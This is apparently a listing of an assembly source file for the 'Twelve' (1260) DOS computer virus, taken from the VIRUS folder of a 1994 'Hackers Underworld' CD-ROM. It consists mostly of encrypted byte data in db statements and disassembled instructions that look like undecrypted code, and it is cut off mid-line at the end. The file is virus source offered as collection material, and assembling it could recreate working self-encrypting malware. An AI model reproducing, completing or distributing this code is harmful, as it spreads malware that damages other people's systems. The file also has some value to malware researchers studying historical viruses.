home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / 1260.ASM next >
Assembly Source File  |  1994-07-17  |  10KB  |  306 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    TWELVE                         ██
  7. ;██                                         ██
  8. ;██      Created:   26-Apr-90                             ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    5           Analysis Options on: H                 ██
  11. ;██                                         ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. data_1e        equ    3366h            ; (7415:3366=0)
  16. data_2e        equ    7EF7h            ; (7415:7EF7=0)
  17. data_3e        equ    8C8Dh            ; (7415:8C8D=0)
  18.   
  19. seg_a        segment    byte public
  20.         assume    cs:seg_a, ds:seg_a
  21.   
  22.   
  23.         org    100h
  24.   
  25. twelve        proc    far
  26.   
  27. start:
  28. ;*        jmp    $+4h            ;*
  29.         db    0E9h, 1, 0
  30.         db    21h, 46h, 0B8h, 9Bh, 1Ah, 0BFh
  31.         db    2Bh, 1, 90h, 4Bh, 0F8h, 0FCh
  32.         db    0B9h, 71h, 5, 31h, 0Dh, 2Bh
  33.         db    0DAh, 33h, 0D9h, 2Bh, 0D9h, 2Bh
  34.         db    0D8h, 90h, 33h, 0D1h, 31h, 5
  35.         db    46h, 43h, 0F8h, 40h, 90h, 47h
  36.         db    0E2h, 0E9h, 40h, 40h, 61h, 1Fh
  37.         db    6Eh, 3, 0C9h, 82h, 6Fh, 36h
  38.         db    0D1h, 5Ah, 8Bh, 33h, 0C3h, 6Bh
  39.         db    0D5h, 0D7h, 85h, 0CCh, 17h, 4Eh
  40.         db    0E9h, 0F3h, 7Ch, 0B1h, 29h, 52h
  41.         db    0FBh, 0FFh, 74h, 0B5h, 2Bh, 56h
  42.         db    0F9h, 0F3h, 64h, 0A9h, 0Dh, 32h
  43.         db    9Bh, 97h, 1Ch, 0D5h, 7Fh, 64h
  44.         db    82h, 7Bh, 0ADh, 94h, 1Eh, 61h
  45.         db    6Ch, 29h, 7Dh, 0F3h, 4Ah, 0F7h
  46.         db    0F4h, 4Ah, 0FEh, 0FFh, 1, 0
  47.         db    51h, 7Ch, 7, 47h, 0DDh, 22h
  48.         db    0CCh, 0EFh, 0D5h, 1Bh, 0F2h, 81h
  49.         db    0DEh, 36h, 5Fh, 0D1h, 0D3h, 63h
  50.         db    0FAh, 1Eh, 0CCh, 23h, 0E1h, 76h
  51.         db    0ABh, 0Bh, 39h, 5Ch, 0DEh, 0B9h
  52.         db    3, 0F4h, 7Eh, 21h, 74h, 31h
  53.         db    0Ch, 0EFh, 59h, 9, 0D9h, 37h
  54.         db    12h, 44h, 92h, 18h, 30h, 12h
  55.         db    0ABh, 16h, 14h, 4Ch, 0BAh, 6Eh
  56.         db    2Bh, 6Fh, 0F5h, 5Bh, 4Ch, 0F3h
  57.         db    7Dh, 0Dh, 53h, 4Ah, 0F1h, 0F7h
  58.         db    59h, 5Dh, 98h, 2, 0Fh, 29h
  59.         db    8Bh, 0D0h, 5Ch, 0ADh, 29h, 54h
  60.         db    3, 52h, 13h, 76h, 0D5h, 58h
  61.         db    13h, 4, 0D7h, 63h, 39h, 74h
  62.         db    8Bh, 7, 0FDh, 8Ah, 0F9h, 1Ah
  63.         db    0D1h, 0F5h, 39h, 0EDh, 0BBh, 0C9h
  64.         db    63h, 8Dh, 0B9h, 97h, 1Eh, 6Dh
  65.         db    0BBh, 14h, 0EBh, 67h, 14h, 50h
  66.         db    34h, 93h, 41h, 0D3h, 0D6h, 87h
  67.         db    0FEh, 0CBh, 0F5h, 87h, 0F9h, 55h
  68.         db    16h, 7, 39h, 49h, 0F5h, 0F3h
  69.         db    0B6h, 0F0h, 64h, 0A5h, 21h, 57h
  70.         db    28h, 2Ch, 0A9h, 0DCh, 6Dh, 8Fh
  71.         db    7Fh, 5Eh, 0ABh, 21h, 66h, 1Ch
  72.         db    6Ch, 35h, 63h, 0F7h, 4Ch, 0F5h
  73.         db    0FDh, 0Ch, 59h, 78h, 6, 43h
  74.         db    0BBh, 78h, 3Bh, 6Eh, 2Fh, 0B2h
  75.         db    15h, 0AEh, 16h, 13h, 0D0h, 3Eh
  76.         db    0F6h, 15h, 85h, 0DBh, 0A1h, 5Ch
  77.         db    20h, 0CEh, 9Eh, 0F0h, 1Eh, 68h
  78.         db    39h, 78h, 79h, 8, 0FDh, 0D7h
  79.         db    0EAh, 0CBh, 0EAh, 87h, 0, 6Eh
  80.         db    51h, 28h, 0D5h, 0D7h, 2Dh, 0A7h
  81.         db    38h, 5Ch, 61h, 28h, 0D5h, 0DDh
  82.         db    0A1h, 0Dh, 66h, 91h, 1Fh, 0A5h
  83.         db    74h, 31h, 0Ah, 0F3h, 51h, 55h
  84.         db    0C1h, 0F3h, 80h, 0Dh, 0ABh, 4Bh
  85.         db    0EDh, 0ACh, 66h, 45h, 14h, 55h
  86.         db    34h, 93h, 50h, 0BEh, 14h, 0DDh
  87.         db    63h, 2Fh, 94h, 0D0h, 6Ch, 0Eh
  88.         db    13h, 0Ch, 7Eh, 21h, 74h, 31h
  89.         db    5Ch, 0FFh, 30h, 0D2h, 4Dh, 0F5h
  90.         db    0C8h, 78h, 3Bh, 6Eh, 2Fh, 72h
  91.         db    0D5h, 1Ah, 0F4h, 0A0h, 0D9h, 36h
  92.         db    0B5h, 0D2h, 19h, 5Ch, 0Dh, 6Bh
  93.         db    0EDh, 0B8h, 20h, 0D2h, 7Ch, 0B9h
  94.         db    0Dh, 7Ah, 0ABh, 5, 49h, 0CCh
  95.         db    4Ch, 0F4h, 0F5h, 78h, 3Bh, 6Eh
  96.         db    2Fh, 83h, 12h, 0DDh, 33h, 0D8h
  97.         db    41h, 31h, 0, 0D8h, 0E7h, 0D8h
  98.         db    11h, 14h, 26h, 0ADh, 0DAh, 0E2h
  99.         db    39h, 8Fh, 35h, 0F1h, 0BFh, 33h
  100.         db    0CCh, 7Bh, 0F5h, 0F7h, 4Fh, 0F3h
  101.         db    0EDh, 22h, 0CCh, 0A0h, 0D6h, 3Eh
  102.         db    0C0h, 0D2h, 11h, 55h, 4, 1Fh
  103.         db    0Ah, 83h, 1Dh, 82h, 21h, 6Ah
  104.         db    45h, 0F0h, 0F5h, 3Bh, 15h, 9Ah
  105.         db    79h, 6Bh, 0FDh, 72h, 34h, 2Ah
  106.         db    0F1h, 3Fh, 89h, 0, 13h, 5Fh
  107.         db    0E1h, 62h, 7Ah, 3Ch, 9Eh, 53h
  108.         db    0Fh, 88h, 98h, 23h, 0B9h, 5Eh
  109.         db    0CCh, 0DCh, 3Ch, 3Fh, 0Bh, 80h
  110.         db    0A3h, 3, 31h, 3Eh, 0D4h, 0D7h
  111.         db    0F4h, 3Bh, 3Dh, 0B0h, 0ABh, 1Fh
  112.         db    21h, 34h, 17h, 28h, 0D5h, 1Fh
  113.         db    0F9h, 0FEh, 18h, 0D7h, 19h, 1Bh
  114.         db    90h, 95h, 5, 23h, 6Ah, 0FDh
  115.         db    71h, 0F0h, 0F5h, 0AAh, 31h, 0FFh
  116.         db    7Ch, 32h, 0D2h, 0F6h, 7Ch, 7Fh
  117.         db    0ECh, 0EFh, 21h, 83h, 6Dh, 0EDh
  118.         db    15h, 98h, 5Bh, 0EFh, 0D1h, 2Dh
  119.         db    0A2h, 51h, 0FFh, 9Ah, 69h, 0EBh
  120.         db    0EDh, 3Fh, 1Ch, 95h, 0Bh, 3Fh
  121.         db    0FEh, 7Dh, 12h, 2Eh, 0F6h, 3Bh
  122.         db    25h, 0A8h, 33h, 6Eh, 2Eh, 0F4h
  123.         db    0D5h, 10h, 93h, 35h, 0DAh, 0DFh
  124.         db    35h, 0C7h, 0D4h, 5Eh, 0ABh, 3Dh
  125.         db    6Ch, 2Ch, 0FDh, 0F3h, 39h, 0D1h
  126.         db    14h, 0B5h, 1Bh, 7Ch, 0FDh, 3Fh
  127.         db    0B9h, 53h, 0F4h, 0F2h, 6Ch, 2Ch
  128.         db    0FDh, 93h, 59h, 20h, 0CAh, 6Bh
  129.         db    9Dh, 26h, 9Fh, 93h, 1Eh, 0E1h
  130.         db    79h, 5Fh, 17h, 94h, 2Bh, 0D6h
  131.         db    0F5h, 4, 51h, 78h, 0BBh, 11h
  132.         db    0D6h, 34h, 0BAh, 5Dh, 7Eh, 0BDh
  133.         db    1, 6Eh, 4, 65h, 0D6h, 0ECh
  134.         db    1Ah, 0A7h, 0D4h, 65h, 0DDh, 0D3h
  135.         db    3Dh, 61h, 0D5h, 38h, 0, 23h
  136.         db    66h, 85h, 19h, 0A1h, 7Eh, 0Dh
  137.         db    31h, 5Eh, 0E5h, 0CAh, 0F5h, 76h
  138.         db    33h, 0A4h, 0EDh, 23h, 0D1h, 0AEh
  139.         db    0D3h, 18h, 16h, 99h, 0CBh, 0EDh
  140.         db    0B8h, 4Ch, 4Fh, 0FEh, 86h, 12h
  141.         db    0E9h, 0E9h, 0EDh, 0A3h, 0Ah, 15h
  142.         db    39h, 1Ah, 66h, 0DCh, 0C0h, 1Fh
  143.         db    0F1h, 3Bh, 96h, 0E5h, 0F1h, 57h
  144.         db    0EDh, 91h, 6Ch, 0D7h, 0D5h, 69h
  145.         db    0DDh, 0DFh, 10h, 0F2h, 0A7h, 0D8h
  146.         db    61h, 93h, 54h, 0ECh, 0EDh, 3Fh
  147.         db    21h, 0A8h, 23h, 72h, 3Fh, 6Ch
  148.         db    0FDh, 3Eh, 0D4h, 7Ch, 0A3h, 9
  149.         db    66h, 0A1h, 15h, 12h, 74h, 77h
  150.         db    6Ah, 12h, 54h, 80h, 9Dh, 2Bh
  151.         db    94h, 0C0h, 58h, 0B2h, 59h, 0D1h
  152.         db    20h, 0D2h, 4Dh, 0F6h, 0B6h, 78h
  153.         db    0B3h, 9, 76h, 25h, 74h, 35h
  154.         db    54h, 0F3h, 20h, 0CEh, 0F3h, 58h
  155.         db    83h, 2Bh, 5Bh, 8Dh, 23h, 6Bh
  156.         db    0C7h, 1Eh, 0F4h, 0C8h, 8Ch, 0E0h
  157.         db    2Dh, 0DCh, 36h, 0C0h, 27h, 0C4h
  158.         db    3, 78h, 18h, 40h, 0FDh, 0F2h
  159.         db    0A2h, 1Fh, 5Bh, 0F3h, 2Eh, 64h
  160.         db    0A3h, 0E3h, 94h, 0E6h, 29h, 92h
  161.         db    9Ch, 0DEh, 55h, 81h, 0C4h, 0DEh
  162.         db    0C4h, 0DAh, 3Ch, 26h, 64h, 0BDh
  163.         db    5, 76h, 14h, 0F4h, 0FDh, 0AEh
  164.         db    0BCh, 0C0h, 35h, 0Eh, 26h, 23h
  165.         db    0B4h, 2Ch, 0B5h, 83h, 16h, 3Fh
  166.         db    0Ch, 2Ch, 58h, 0Fh, 0A8h, 2Ah
  167.         db    0DEh, 7, 5Eh, 12h
  168. loc_1:
  169.         cmp    al,0Fh
  170.         mov    bp,7E24h
  171.         aas                ; Ascii adjust
  172.         lodsw                ; String [si] to ax
  173.         mov    bl,2Ah            ; '*'
  174.         cld                ; Clear direction
  175.         mov    bx,7E1Fh
  176.         pop    es
  177.         push    es
  178.         push    di
  179.         db    2Eh, 55h, 0EDh, 93h, 7Dh, 49h
  180.         db    6Ah, 18h, 5Fh, 0BCh, 0DBh, 75h
  181.         db    0AEh, 0D1h, 73h, 0E6h, 1Eh, 2Ch
  182.         db    0BEh, 78h, 29h, 0A7h, 0A3h
  183.         db    78h
  184.   
  185. locloop_2:
  186.         mov    bh,ch
  187.         add    dh,ds:data_2e[si]    ; (7415:7EF7=0)
  188.         adc    word ptr [bx],41h
  189.         esc    7,cl            ; coprocessor escape
  190.         pop    cx
  191.         xchg    ax,dx
  192.         rcr    cl,1            ; Rotate thru carry
  193.         rcl    byte ptr [di-68h],cl    ; Rotate thru carry
  194.         esc    2,ds:data_3e[di]    ; (7415:8C8D=0) coprocessor escape
  195.         sbb    al,ds:data_1e[bx+si]    ; (7415:3366=0)
  196. loc_3:
  197.         mov    bp,7EA5h
  198.         adc    word ptr [bx+di],0CD5Fh
  199.         sti                ; Enable interrupts
  200.         ja    loc_1            ; Jump if above
  201.         db    0F2h, 0D3h, 0Bh, 7Bh, 0AAh, 0E8h
  202.         db    0B3h
  203.         db    4Bh, 4Dh
  204. loc_5:
  205.         esc    3,[bp+si+4E0Eh]        ; coprocessor escape
  206.         movsb                ; Mov [si] to es:[di]
  207.         push    ds
  208.         adc    [bp+0Bh],al
  209.         popf                ; Pop flags
  210.         push    si
  211.         add    al,dl
  212.         db    6Fh, 0F3h, 0Fh, 54h, 0F9h, 0F3h
  213.         db    76h, 0B9h, 11h, 0DEh, 90h, 0F7h
  214.         db    56h, 0F7h, 0EDh
  215. loc_6:
  216.         loopz    locloop_2        ; Loop if zf=1, cx>0
  217.   
  218. ;*        jo    loc_4            ;*Jump if overflow=1
  219.         db    70h, 0D3h
  220.         xlat [bx]            ; al=[al+[bx]] table
  221.         jbe    loc_5            ; Jump if below or =
  222.         esc    5,[si]            ; coprocessor escape
  223.         test    cx,sp
  224.         dec    ax
  225.         adc    al,49h            ; 'I'
  226.         int    0BDh
  227.         push    di
  228.         in    ax,dx            ; port 0, DMA-1 bas&add ch 0
  229.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  230.         call    $-4A7Fh
  231.         sbb    ax,5E05h
  232.         push    bp
  233.         jl    loc_3            ; Jump if <
  234.         das                ; Decimal adjust
  235.         dec    si
  236. ;*        jmp    short loc_7        ;*(04BD)
  237.         db    0EBh, 0EDh
  238.         db    18h, 0D3h, 49h, 36h, 95h, 9Dh
  239.         db    14h, 0DBh, 71h, 36h, 99h, 95h
  240.         db    68h, 0B5h, 0F0h, 70h, 30h, 4Ah
  241.         db    0DCh, 0F4h, 4Bh, 66h, 0E5h, 44h
  242.         db    82h, 0F0h, 0Fh, 9, 0B5h, 0A6h
  243.         db    7Fh, 0DCh, 0D6h, 0E4h, 0DAh, 0E6h
  244.         db    2, 0EEh, 6, 0F6h, 0Bh, 0FEh
  245.         db    0Eh, 0FEh
  246.         db    9
  247. loc_8:
  248.         jge    loc_6            ; Jump if > or =
  249.         stosb                ; Store al to es:[di]
  250.         mov    al,0B3h
  251.         mov    ch,0Dh
  252.         mov    ax,1D6Dh
  253.         sbb    dh,al
  254.         cmc                ; Complement carry
  255.         hlt                ; Halt processor
  256.         div    al            ; al, ah rem = ax/reg
  257.         jmp    short loc_8        ; (04FD)
  258.         db    0E4h, 12h, 1Fh, 16h, 1Eh, 12h
  259.         db    11h, 1Eh, 10h, 11h, 1Bh, 15h
  260.         db    5, 11h, 0FFh, 0EDh, 0F9h, 0F1h
  261.         db    0E3h, 0F5h, 0EDh, 0F1h, 0E7h, 0FEh
  262.         db    0E1h, 0F2h, 0E8h, 0F6h, 0EBh, 0F2h
  263.         db    0F2h, 0EEh, 0CDh, 0D